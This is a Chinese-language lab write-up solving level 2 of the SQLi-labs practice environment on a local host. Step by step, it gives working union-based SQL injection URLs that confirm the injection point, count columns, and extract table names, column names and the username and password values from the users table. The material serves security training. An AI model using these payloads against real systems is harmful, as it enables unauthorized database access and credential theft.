sqllab 第二关

一、判断注入

报错与第一关报错有区别，少了几个字符。
第一关： ‘1’’ LIMIT 0,1
第二关：’ – LIMIT 0,1
没有提示闭合错误，再根据第二关的题目为整数型注入，所以换种方法。

http://127.0.0.1/sqllab/Less-2/?id=1 and 1=1 --+  //图一，正常显示
http://127.0.0.1/sqllab/Less-2/?id=1 and 1=2 --+  //图二，显示异常

图一：

图二：

证明参数id存在注入点。

二、判断列数以及回显位置

http://127.0.0.1/sqllab/Less-2/?id=1 order by 1 --+
http://127.0.0.1/sqllab/Less-2/?id=1 order by 2 --+
http://127.0.0.1/sqllab/Less-2/?id=1 order by 3 --+
http://127.0.0.1/sqllab/Less-2/?id=1 order by 4 --+

到 4 的时候报错，证明存在3列。

127.0.0.1/sqllab/Less-2/?id=1 and 1=2 union select 1,2,3 --+

三、获取当前数据库等信息

http://127.0.0.1/sqllab/Less-2/?id=1 and 1=2 union select 1,database(),3 --+

注出security的各表名

http://127.0.0.1/sqllab/Less-2/?id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = "security"),3 --+ 

注出 users 表的各列名：

http://127.0.0.1/sqllab/Less-2/?id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name = "users"),3 --+ 

注出 users 表数据值：

http://127.0.0.1/sqllab/Less-2/?id=1 and 1=2 union select 1,(select group_concat(concat_ws(0x3a,id,username,password)) from users),3 --+